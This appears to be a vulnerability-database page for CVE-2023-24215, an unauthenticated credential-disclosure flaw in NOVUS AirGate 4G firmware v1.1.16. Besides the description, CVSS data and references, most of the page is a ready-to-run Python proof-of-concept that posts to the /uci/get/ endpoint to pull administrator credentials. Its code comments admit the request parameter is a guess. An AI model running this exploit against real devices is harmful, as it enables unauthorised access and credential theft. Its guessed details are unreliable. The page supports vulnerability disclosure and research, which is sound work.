CVE-2023-24215

Description

Incorrect access control in the /uci/get/ endpoint of NOVUS AirGate 4G firmware v1.1.16 allows unauthenticated attackers to obtain administrator credentials via a crafted POST request.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

NOVUS AirGate 4G v1.1.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_novus_airgate(target_ip):
    # Target endpoint vulnerable to incorrect access control
    url = f"http://{target_ip}/uci/get/"

    # Headers to mimic a legitimate browser request
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0"
    }

    # Payload to retrieve sensitive configuration (admin credentials)
    # The specific parameter might vary based on UCI structure, often requesting config files like 'system' or 'admin'
    payload = {
        "config": "system"
    }

    try:
        # Sending POST request without authentication
        response = requests.post(url, headers=headers, data=payload, verify=False, timeout=5)

        if response.status_code == 200:
            print("[+] Exploit successful!")
            print("[+] Retrieved response:")
            print(response.text)
        else:
            print(f"[-] Failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with target IP
    exploit_novus_airgate(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-24215
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-24215
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-24215/
[4] VulDB https://vuldb.com/cve/CVE-2023-24215
[5] http://airgate.com
[6] http://novus.com
[7] https://github.com/sql3t0/cve-disclosures/blob/main/00_-_CVE-2023-24215.md

Raw JSON Data

JSON

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